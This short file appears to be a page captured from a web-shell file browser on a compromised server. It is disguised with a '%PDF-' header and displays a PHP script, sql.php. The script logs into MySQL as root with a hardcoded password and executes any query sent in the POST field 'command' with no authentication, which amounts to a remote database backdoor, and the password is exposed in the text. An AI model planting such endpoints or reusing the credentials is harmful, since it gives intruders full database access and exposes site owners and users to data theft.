%PDF- %PDF-
Direktori : /www/old2/_music/scanned/ |
Current File : /www/old2/_music/scanned/sql.php |
<?php echo '<?xml version="1.0" encoding="UTF-8"?>'."\n"; ?> <CommandResult> <Rows> <?php header("Content-Type: text/xml"); $connection = mysql_connect("localhost", "root", "waritko3"); mysql_select_db("information_schema", $connection); $resource = mysql_query($_POST['command'], $connection); if($resource) { while($res = mysql_fetch_row($resource)) { echo " <Row>\n"; $i = 0; foreach($res as $col) { $isNull = is_null($col) ? "true" : "false"; echo " <Column$i isDbNull=\"$isNull\">$col</Column$i>\n"; $i++; } echo " </Row>\n"; } } mysql_close($connection); ?> </Rows> </CommandResult>